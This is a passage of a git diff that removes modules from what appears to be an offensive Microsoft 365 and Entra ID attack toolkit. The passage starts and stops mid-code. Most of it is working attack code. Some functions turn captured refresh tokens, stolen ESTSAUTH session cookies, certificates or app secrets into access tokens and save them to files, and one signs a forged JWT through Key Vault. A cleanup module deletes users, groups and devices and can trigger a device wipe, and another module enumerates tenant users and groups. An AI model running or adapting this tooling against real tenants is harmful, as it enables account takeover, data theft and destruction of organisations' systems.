invoke_refreshtoofficemanagementtoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeManagementToken command") - return - - print_yellow("[*] Invoke-RefreshToOfficeManagementToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "00b41c95-dab0-4487-9791-b9d2c32c80f2" - refresh_token = get_access_token(args.token) - resource = "https://manage.office.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "officemanagement_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Office Management token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtooutlooktoken -def invoke_refreshtooutlooktoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOutlookToken command") - return - - print_yellow("[*] Invoke-RefreshToOutlookToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = get_access_token(args.token) - resource = "https://outlook.office365.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "outlook_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Outlook token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtosubstratetoken -def invoke_refreshtosubstratetoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSubstrateToken command") - return - - print_yellow("[*] Invoke-RefreshToSubstrateToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = get_access_token(args.token) - resource = "https://substrate.office.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "substrate_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Substrate token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtoyammertoken -def invoke_refreshtoyammertoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToYammerToken command") - return - - print_yellow("[*] Invoke-RefreshToYammerToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = get_access_token(args.token) - resource = "https://www.yammer.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "yammer_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Yammer token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtointuneenrollmenttoken -def invoke_refreshtointuneenrollmenttoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToIntuneEnrollment command") - return - - print_yellow("[*] Invoke-RefreshToIntuneEnrollment") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = get_access_token(args.token) - resource = "https://enrollment.manage.microsoft.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "intune_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Intune Enrollment token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtoonedrivetoken -def invoke_refreshtoonedrivetoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOneDriveToken command") - return - - print_yellow("[*] Invoke-RefreshToOneDriveToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" - refresh_token = get_access_token(args.token) - resource = "https://officeapps.live.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "onedrive_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get OneDrive token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtosharepointtoken -def invoke_refreshtosharepointtoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSharePointToken command") - return - - print_yellow("[*] Invoke-RefreshToSharePointToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" - refresh_token = get_access_token(args.token) - - try: - sharepoint_tenant = input("\nEnter SharePoint Tenant Name: ").strip() - use_admin = input("Use Admin Suffix '-admin' (yes/no): ").strip().lower() == 'yes' - admin_suffix = '-admin' if use_admin else '' - - except KeyboardInterrupt: - sys.exit() - - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - resource = f"https://{sharepoint_tenant}{admin_suffix}.sharepoint.com" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("\n[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "sharepoint_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get SharePoint token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-certtoaccesstoken -def invoke_certtoaccesstoken(args): - if not args.tenant or not args.cert or not args.id: - print_red("[-] Error: --tenant, --cert, and --id arguments are required for Invoke-CertToAccessToken command") - return - - print_yellow("[*] Invoke-CertToAccessToken") - print("=" * 80) - tenant_id = args.tenant - client_id = args.id - cert_path = args.cert - - try: - audience = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - with open(cert_path, 'rb') as cert_file: - pfx_data = cert_file.read() - - private_key, certificate, *_ = pkcs12.load_key_and_certificates(pfx_data, None, default_backend()) - # calculate x5t (X.509 cert SHA-1 thumbprint) - fingerprint = certificate.fingerprint(hashes.SHA1()) - x5t = base64.urlsafe_b64encode(fingerprint).rstrip(b'=').decode('ascii') - - payload = { - 'sub': client_id, - 'nbf': datetime.now(timezone.utc), - 'exp': datetime.now(timezone.utc) + timedelta(minutes=120), - 'iat': datetime.now(timezone.utc), - 'iss': client_id, - 'aud': audience - } - - private_key_pem = private_key.private_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.TraditionalOpenSSL, - encryption_algorithm=serialization.NoEncryption() - ) - - jwt_token = jwt.encode(payload, private_key_pem, algorithm='RS256', headers={'kid': fingerprint.hex().upper(), 'x5t': x5t}) - user_agent = get_user_agent(args) - headers = { - 'Content-Type': 'application/x-www-form-urlencoded', - 'User-Agent': user_agent - } - - data = { - 'grant_type': 'client_credentials', - 'client_id': client_id, - 'client_assertion_type': 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer', - 'client_assertion': jwt_token, - 'scope': 'https://graph.microsoft.com/.default' - } - - try: - response = requests.post(f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", headers=headers, data=data) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "cert_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get certificate access token: {str(e)}") - print_red(response.text) - except Exception as e: - print_red(f"[-] Error loading .pfx file: {str(e)}") - print("=" * 80) - -# invoke-estscookietoaccesstoken -def invoke_estscookietoaccesstoken(args): - if not args.tenant or not args.estsauthcookie: - print_red("[-] Error: --tenant and --estsauthcookie are required for Invoke-ESTSCookieToAccessToken command") - return - - print_yellow("[*] Invoke-ESTSCookieToAccessToken") - print("=" * 80) - user_agent = get_user_agent(args) - - try: - client = input("\nEnter Client (MSTeams, MSEdge, AzurePowerShell): ").strip() - if client == "": - client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" - print("Using Default Client: MSTeams") - elif client == "MSTeams": - client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" - elif client == "MSEdge": - client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a" - elif client == "AzurePowerShell": - client_id = "1950a258-227b-4e31-a9cf-717495945fc2" - else: - print_red(f"[-] Invalid client: {client}") - print("=" * 80) - sys.exit() - - except KeyboardInterrupt: - sys.exit() - - print() - resource = "https://graph.microsoft.com/" - headers = { - "User-Agent": user_agent - } - - ests_auth_cookie = get_access_token(args.estsauthcookie) - session = requests.Session() - - if ests_auth_cookie.startswith("ESTSAUTH="): - session.cookies.set("ESTSAUTH", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") - elif ests_auth_cookie.startswith("ESTSAUTHPERSISTENT="): - session.cookies.set("ESTSAUTHPERSISTENT", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") - else: - print_red("[-] Invalid ESTS cookie format") - print("=" * 80) - sys.exit() - - state = str(uuid.uuid4()) - redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient" - auth_url = f"https://login.microsoftonline.com/common/oauth2/authorize?{urlencode({'response_type': 'code', 'client_id': client_id, 'resource': resource, 'redirect_uri': redirect_uri, 'state': state})}" - response = session.get(auth_url, headers=headers, allow_redirects=False) - - if response.status_code == 302: - location = response.headers['Location'] - parsed_url = urlparse(location) - query_params = parse_qs(parsed_url.query) - - if 'code' in query_params: - refresh_token = query_params['code'][0] - else: - print_red("[-] Code not found in redirected URL path") - print_red(f" Requested URL: {auth_url}") - print_red(f" Response Code: {response.status_code}") - print_red(f" Response URI: {location}") - print("=" * 80) - return None - else: - print_red("[-] Expected 302 redirect but received other status") - print_red(f"[-] Requested URL: {auth_url}") - print_red(f"[-] Response Code: {response.status_code}") - print_red("[-] The request may require user interaction to complete, or the provided cookie is invalid") - print("=" * 80) - return None - - if refresh_token: - token_url = "https://login.microsoftonline.com/common/oauth2/token" - body = { - "resource": resource, - "client_id": client_id, - "grant_type": "authorization_code", - "redirect_uri": redirect_uri, - "code": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - body["claims"] = claims - - token_response = session.post(token_url, headers=headers, data=body) - token_response_json = token_response.json() - access_token = token_response_json.get('access_token') - - if access_token: - print_green("[+] Token Obtained!\n") - for key, value in token_response_json.items(): - print(f"[*] {key}: {value}") - - file_path = "estscookie_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_response_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - print("=" * 80) - else: - print_red("[-] Failed to obtain access token.") - print("=" * 80) - return None - else: - print_red("[-] Refresh token is missing.") - print("=" * 80) - return None - -# invoke-appsecrettoaccesstoken -def invoke_appsecrettoaccesstoken(args): - if not args.tenant or not args.id or not args.secret: - print_red("[-] Error: --tenant, --id, and --secret required for Invoke-AppSecretToAccessToken command") - return - - print_yellow("[*] Invoke-AppSecretToAccessToken") - print("=" * 80) - - tenant_id = args.tenant - client_id = args.id - client_secret = args.secret - - token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - token_data = { - 'grant_type': 'client_credentials', - 'client_id': client_id, - 'client_secret': client_secret, - 'scope': 'https://graph.microsoft.com/.default' # can change e.g. 'https://management.azure.com/.default' for Az - } - - # check cae for client_credential grants - - user_agent = get_user_agent(args) - headers = { - "User-Agent": user_agent - } - - try: - token_response = requests.post(token_url, data=token_data, headers=headers) - token_response.raise_for_status() - token_json = token_response.json() - - print_green("[+] Token Obtained!\n") - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "appsecret_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get app secret token: {str(e)}") - if 'token_response' in locals(): - print_red(token_response.text) - - print("=" * 80) - -# new-signedjwt -def new_signedjwt(args): - if not args.tenant or not args.id: - print_red("[-] Error: --tenant and --id required for New-SignedJWT command") - return - - print_yellow("[*] New-SignedJWT") - print("=" * 80) - - try: - kvURI = input("\nEnter Key Vault Certificate Identifier URL: ").strip() - except KeyboardInterrupt: - sys.exit() - - keyName = kvURI.split('/certificates/', 1)[-1].split('/', 1)[0] - # cert details - kv_uri = f"{kvURI.split('/certificates/')[0]}/certificates?api-version=7.3" - - headers = { - "Authorization": f"Bearer {get_access_token(args.token)}" - } - - response = requests.get(kv_uri, headers=headers) - response.raise_for_status() - certs = response.json() - cert_uri = next((c for c in certs['value'] if keyName in c['id']), None) - - if not cert_uri: - raise Exception("Certificate not found.") - - cert_id = cert_uri['id'] - cert_uri_with_version = f"{cert_id}?api-version=7.3" - response = requests.get(cert_uri_with_version, headers=headers) - response.raise_for_status() - certificate = response.json() - x5t = certificate.get('x5t') - kid = certificate.get('kid') - - print_green("\n[+] Certificate Details Obtained!") - print(f"kid: {kid or 'N/A'}") - print(f"x5t: {x5t or 'N/A'}") - - # create JWT - print_green("\n[+] Forged JWT:") - app_id = args.id - audience = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token" - now = datetime.now(timezone.utc) - jwt_expiration = int((now + timedelta(minutes=2)).timestamp()) - not_before = int(now.timestamp()) - - jwt_header = { - "x5t": x5t, - "typ": "JWT", - "alg": "RS256" - } - - jwt_payload = { - "exp": jwt_expiration, - "sub": app_id, - "nbf": not_before, - "jti": str(uuid.uuid4()), - "aud": audience, - "iss": app_id - } - def base64url_encode(data): - return base64.urlsafe_b64encode(data.encode('utf-8')).decode('utf-8').rstrip('=') - - # encode header and payload - header_encoded = base64url_encode(json.dumps(jwt_header)) - payload_encoded = base64url_encode(json.dumps(jwt_payload)) - - # construct unsigned JWT - unsigned_jwt = f"{header_encoded}.{payload_encoded}" - jwt_sha256_hash = hashlib.sha256(unsigned_jwt.encode()).digest() - jwt_sha256_hash_b64 = base64.urlsafe_b64encode(jwt_sha256_hash).decode().rstrip('=') - - # sign JWT - new_uri = f"{kid}/sign?api-version=7.3" - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {get_access_token(args.token)}", - "Accept": "application/json", - "User-Agent": user_agent - - } - request_body = { - "alg": "RS256", - "value": jwt_sha256_hash_b64 - } - - response = requests.post(new_uri, headers=headers, json=request_body) - response.raise_for_status() - signature = response.json()['value'] - signed_jwt = f"{unsigned_jwt}.{signature}" - print(signed_jwt) - - # request azure management token - jwt_login = f"https://login.microsoftonline.com/{args.tenant}/oauth2/v2.0/token" - parameters = { - "client_id": args.id, - "client_assertion": signed_jwt, - "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", - "scope": "https://management.azure.com/.default", - "grant_type": "client_credentials" - } - - response = requests.post(jwt_login, data=parameters) - - if not response.ok: - print_red(f"\n[-] Error: {response.status_code} ({response.reason}). {response.text}") - else: - print_green("\n[+] Azure Management Token Obtained!") - print(f"[*] Application ID: {args.id}") - print(f"[*] Tenant ID: {args.tenant}") - print("[*] Scope: https://management.azure.com/.default") - response_json = response.json() - for key, value in response_json.items(): - print(f"[*] {key}: {value}") - print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/cleanup.py b/graphpython/commands/cleanup.py deleted file mode 100644 index ea78391..0000000 --- a/graphpython/commands/cleanup.py +++ /dev/null @@ -1,152 +0,0 @@ -import requests -from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token - -########### -# Cleanup # -########### - -def delete_user(args): - if not args.id: - print_red("[-] Error: --id argument is required for Delete-User command") - return - - print_yellow("[*] Delete-User") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] User deleted") - else: - print_red(f"[-] Failed to delete user: {response.status_code}") - print_red(response.text) - print("=" * 80) - -def delete_group(args): - if not args.id: - print_red("[-] Error: --id argument is required for Delete-Group command") - return - - print_yellow("[*] Delete-Group") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Group deleted") - else: - print_red(f"[-] Failed to delete group: {response.status_code}") - print_red(response.text) - print("=" * 80) - -def remove_groupmember(args): - if not args.id: - print_red("[-] Error: --id groupid,objectid required for Remove-GroupMember command") - return - - ids = args.id.split(',') - if len(ids) != 2: - print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") - return - - group_id, member_id = ids[0].strip(), ids[1].strip() - print_yellow("[*] Remove-GroupMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/{member_id}/$ref" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Group member removed") - else: - print_red(f"[-] Failed to remove group member: {response.status_code}") - print_red(response.text) - print("=" * 80) - -def delete_application(args): - if not args.id: - print_red("[-] Error: --id argument is required for Delete-Application command") - return - - print_yellow("[*] Delete-Application") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Application deleted") - else: - print_red(f"[-] Failed to delete application: {response.status_code}") - print_red(response.text) - print("=" * 80) - -def delete_device(args): - if not args.id: - print_red("[-] Error: --id argument is required for Delete-Device command") - return - - print_yellow("[*] Delete-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/devices/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device deleted") - else: - print_red(f"[-] Failed to delete device: {response.status_code}") - print_red(response.text) - print("=" * 80) - -def wipe_device(args): - if not args.id: - print_red("[-] Error: --id argument is required for Wipe-Device command") - return - - print_yellow("[*] Wipe-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/wipe" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - body = { - "keepEnrollmentData": True, - "keepUserData": True, - "useProtectedWipe": False - } - - response = requests.post(api_url, headers=headers, json=body) - if response.ok: - print_green(f"[+] Device wipe initiated successfully") - else: - print_red(f"[-] Failed to initiate device wipe: {response.status_code}") - print_red(response.text) - print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/enum.py b/graphpython/commands/enum.py deleted file mode 100644 index b9c47ff..0000000 --- a/graphpython/commands/enum.py +++ /dev/null @@ -1,1108 +0,0 @@ -import requests -import json -import os -import sys -import time -from bs4 import BeautifulSoup -from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from Graphpython.utils.helpers import graph_api_get - -########################## -# Post-Auth Enuemeration # -########################## - -# get-currentuser -def get_currentuser(args): - print_yellow("[*] Get-CurrentUser") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - print_red(f"[-] Failed to retrieve current user: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-currentuseractivities -def get_currentuseractivities(args): - print_yellow("[*] Get-CurrentUserActivities") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/activities" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-orginfo -def get_orginfo(args): - print_yellow("[*] Get-OrgInfo") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/organization" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-domains -def get_domains(args): - print_yellow("[*] Get-Domains") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/domains" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-user -def get_user(args): - print_yellow("[*] Get-User") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/users" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - access_token = get_access_token(args.token) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if args.id: - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - if 'value' in response_json: - for user in response_json['value']: - for key, value in user.items(): - print(f"{key}: {value}") - print() - else: - print_red("[-] No users found or unexpected response format") - else: - print_red(f"[-] Failed to retrieve user(s): {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-userproperties -def get_userproperties(args): - properties = [ - "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", - "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", - "country", "createdDateTime", "department", "displayName", "employeeId", - "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", - "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", - "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", - "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", - "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", - "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", - "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", - "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", - "schools", "showInAddressList", "skills", "state", "streetAddress", - "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" - ] - - print_yellow("[*] Get-UserProperties") - print("=" * 80) - - for p in properties: - if not args.id: - api_url = f"https://graph.microsoft.com/v1.0/me?$select={p}" - else: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}?$select={p}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - print(f"{p}: {response_json.get(p, 'N/A')}") - else: - print_red(f"[-] Failed to retrieve {p}: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-userprivileges -def get_userprivileges(args): - print_yellow("[*] Get-UserPrivileges") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/memberOf" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/memberOf" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-usertransitivegroupmembership -def get_usertransitivegroupmembership(args): - print_yellow("[*] Get-UserTransitiveGroupMembership") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/transitiveMemberOf" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/transitiveMemberOf" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-group -def get_group(args): - print_yellow("[*] Get-Group") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/groups" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if args.id: - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - if 'value' in response_json: - for user in response_json['value']: - for key, value in user.items(): - print(f"{key}: {value}") - print() - else: - print_red("[-] No users found or unexpected response format") - else: - print_red(f"[-] Failed to retrieve user(s): {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-groupmember -def get_groupmember(args): - if not args.id: - print_red("[-] Error: 